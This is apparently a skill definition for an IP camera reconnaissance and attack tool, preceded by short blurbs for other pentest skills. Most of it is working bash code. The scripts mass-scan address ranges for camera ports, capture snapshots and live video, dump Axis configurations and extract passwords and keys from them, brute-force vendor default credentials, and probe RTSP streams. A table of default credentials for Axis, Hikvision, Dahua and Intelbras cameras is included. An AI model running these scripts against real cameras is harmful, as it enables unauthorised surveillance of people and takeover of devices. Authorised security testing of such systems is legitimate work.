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Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
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| name | iot-camera-recon |
| description | Attack cameras via RTSP, ONVIF, Axis config when 554 open. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| tags | ["recon","camera","IoT","RTSP","ONVIF","Axis","Hikvision"] |
| category | recon |
| related_skills | ["port-mass-scan","port-service-discovery"] |
IP camera assessment covering RTSP exposure, vendor configuration endpoints, ONVIF service enumeration, authentication controls, and firmware identification.
port-mass-scan finds RTSP (554) or camera HTTP ports (80, 8010, 8011).port-service-discovery finds Axis/Hikvision/Dahua ONVIF services.terminal with curl, python3.port-mass-scan).# Quick camera detection on known IP
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/admin/param.cgi?action=list" | head -50
# Mass RTSP discovery on a /24
masscan -p554,80,8010,8011 --rate=10000 192.168.0.0/24 -oJ cameras.json
| Camera Brand | Default HTTP Port | Snapshot URL | Config URL | Default Creds |
|---|---|---|---|---|
| Axis | 80, 8010 | /axis-cgi/jpg/image.cgi | /axis-cgi/admin/param.cgi?action=list | root:pass, root:admin |
| Hikvision | 80, 554 | /ISAPI/Streaming/channels/101/picture | /System/configurationFile?auth=... | admin:12345, admin:admin |
| Dahua | 80, 554 | /cgi-bin/snapshot.cgi | /cgi-bin/configManager.cgi?action=getConfig | admin:admin, admin:password |
| Intelbras | 80 | /cgi-bin/snapshot.cgi | /web/cgi-bin/hi3510/param.cgi | admin:admin, admin:123456 |
| ONVIF | 80, 8899 |
| N/A (SOAP) |
/onvif/device_service |
| admin:admin |
RANGE="$1" # e.g., [REDACTED_IP]/16
OUTDIR="$OUTDIR/cameras"
mkdir -p "$OUTDIR"
echo "[*] Camera hunt on $RANGE"
# Masscan for RTSP + camera HTTP ports
masscan -p554,80,8010,8011,8899 --rate=50000 "$RANGE" -oJ "$OUTDIR/masscan_cameras.json"
# Extract IPs with open camera ports
HITS=$(python3 -c "
import json
with open('$OUTDIR/masscan_cameras.json') as f:
ips = set()
for line in f:
try:
data = json.loads(line.strip()) if line.strip() else {}
ips.add(data.get('ip', ''))
except: pass
for ip in sorted(ips):
print(ip)
" 2>/dev/null)
echo "[+] $(echo "$HITS" | wc -l) IPs with camera ports"
# Probe each with curl
echo "$HITS" | while read ip; do
echo "--- $ip ---"
# Axis snapshot
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:8010/axis-cgi/jpg/image.cgi")
[[ "$code" == "200" ]] && echo " [AXIS] Snapshot: http://$ip:8010/axis-cgi/jpg/image.cgi"
# Axis config dump
config=$(curl -sk --max-time 5 --connect-timeout 5 "http://$ip:8010/axis-cgi/admin/param.cgi?action=list" 2>/dev/null)
if [[ -n "$config" ]] && echo "$config" | grep -q "root.Brand"; then
BRAND=$(echo "$config" | grep "root.Brand.Brand=" | cut -d= -f2 | tr -d '"')
MODEL=$(echo "$config" | grep "root.Brand.ProdShortName=" | cut -d= -f2 | tr -d '"')
FIRMWARE=$(echo "$config" | grep "root.Properties.Firmware.Version=" | cut -d= -f2 | tr -d '"')
SERIAL=$(echo "$config" | grep "root.Properties.System.SerialNumber=" | cut -d= -f2 | tr -d '"')
echo " [CONFIG] $BRAND $MODEL — Firmware: $FIRMWARE — Serial: $SERIAL"
echo "$config" | wc -l | xargs echo " Parameters:"
fi
# Generic RTSP
for port in 554 8554; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:$port/")
[[ "$code" != "000" ]] && echo " [RTSP] Port $port responds (HTTP $code)"
done
# ONVIF discovery (port 8899 or 80)
for port in 8899 80; do
resp=$(curl -sk --max-time 5 --connect-timeout 5 -X POST "http://$ip:$port/onvif/device_service" \
-H "Content-Type: application/soap+xml" \
-d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>' 2>/dev/null)
if echo "$resp" | grep -qi "manufacturer\|model\|serial"; then
echo " [ONVIF] Device info available on port $port"
fi
done
done
IP="$1"
echo "[*] Axis camera exploitation on $IP"
# 1. Snapshot
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/jpg/image.cgi" -o "axis_${IP//./_}_snapshot.jpg"
echo "[+] Snapshot saved"
# 2. Full config dump (988 parameters on Axis P1378-LE)
curl -sk --max-time 10 --connect-timeout 10 "http://$IP:8010/axis-cgi/admin/param.cgi?action=list" -o "axis_${IP//./_}_config.txt"
PARAM_COUNT=$(wc -l < "axis_${IP//./_}_config.txt")
echo "[+] Config dump: $PARAM_COUNT parameters"
# 3. Extract sensitive parameters
echo "[*] Sensitive parameters:"
grep -iE 'password|user|token|key|serial|license|cert|network\.eth0\.IP' "axis_${IP//./_}_config.txt" | head -20
# 4. MJPG video stream
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/mjpg/video.cgi" -o "axis_${IP//./_}_stream.mjpg" &
sleep 3; kill %1 2>/dev/null
STREAM_SIZE=$(stat -c%s "axis_${IP//./_}_stream.mjpg" 2>/dev/null || echo 0)
[[ "$STREAM_SIZE" -gt 1000 ]] && echo "[+] Live MJPG stream captured (${STREAM_SIZE} bytes)"
# 5. List available services
for svc in "admin" "viewer" "operator" "ptz" "applications" "local"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$IP:8010/axis-cgi/$svc/")
[[ "$code" != "404" && "$code" != "000" ]] && echo " Service: /axis-cgi/$svc/ (HTTP $code)"
done
IP="$1"
BRAND="${2:-axis}" # axis, hikvision, dahua, intelbras
echo "[*] Default credential test on $IP ($BRAND)"
# Brand-specific default credentials
case "$BRAND" in
axis)
CREDS=("root:pass" "root:admin" "root:root" "root:12345" "admin:admin" "admin:12345")
AUTH_URL="http://$IP:8010/axis-cgi/admin/param.cgi?action=list"
;;
hikvision)
CREDS=("admin:12345" "admin:admin" "admin:123456" "admin:password")
AUTH_URL="http://$IP/ISAPI/System/deviceInfo"
;;
dahua)
CREDS=("admin:admin" "admin:password" "admin:123456" "admin:admin123")
AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
;;
intelbras)
CREDS=("admin:admin" "admin:123456" "admin:password" "admin:admin123")
AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
;;
*)
CREDS=("admin:admin" "admin:12345" "root:admin" "admin:password")
AUTH_URL="http://$IP/"
;;
esac
for cred in "${CREDS[@]}"; do
USER="${cred%%:*}"
PASS="${cred##*:}"
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
-u "$USER:$PASS" "$AUTH_URL" 2>/dev/null)
if [[ "$code" == "200" ]]; then
echo " [CRITICAL] DEFAULT CREDENTIALS: $cred"
elif [[ "$code" == "401" ]]; then
echo " [-] $cred (auth failed)"
else
echo " [$code] $cred"
fi
done
IP="$1"
PORT="${2:-554}"
echo "[*] RTSP stream access on $IP:$PORT"
# Common RTSP paths
STREAMS=(
"/live" "/stream" "/cam/realmonitor"
"/h264" "/h264/ch1/main/av_stream"
"/Streaming/Channels/101" "/ISAPI/Streaming/channels/101"
"/axis-media/media.amp" "/onvif1" "/onvif2"
)
for stream in "${STREAMS[@]}"; do
RTSP_URL="rtsp://$IP:$PORT$stream"
echo -n " $stream: "
# Test with ffmpeg (2 second probe)
timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
if [[ $? -eq 0 ]]; then
echo "LIVE STREAM"
else
echo "no response"
fi
done
# Try with default credentials
for cred in "admin:admin" "admin:12345" "root:pass"; do
RTSP_URL="rtsp://${cred}@$IP:$PORT/live"
timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
[[ $? -eq 0 ]] && echo " [CRITICAL] RTSP stream accessible with $cred"
done
-rtsp_transport tcp for reliable stream testing.--max-time to avoid hanging on slow connections.file command).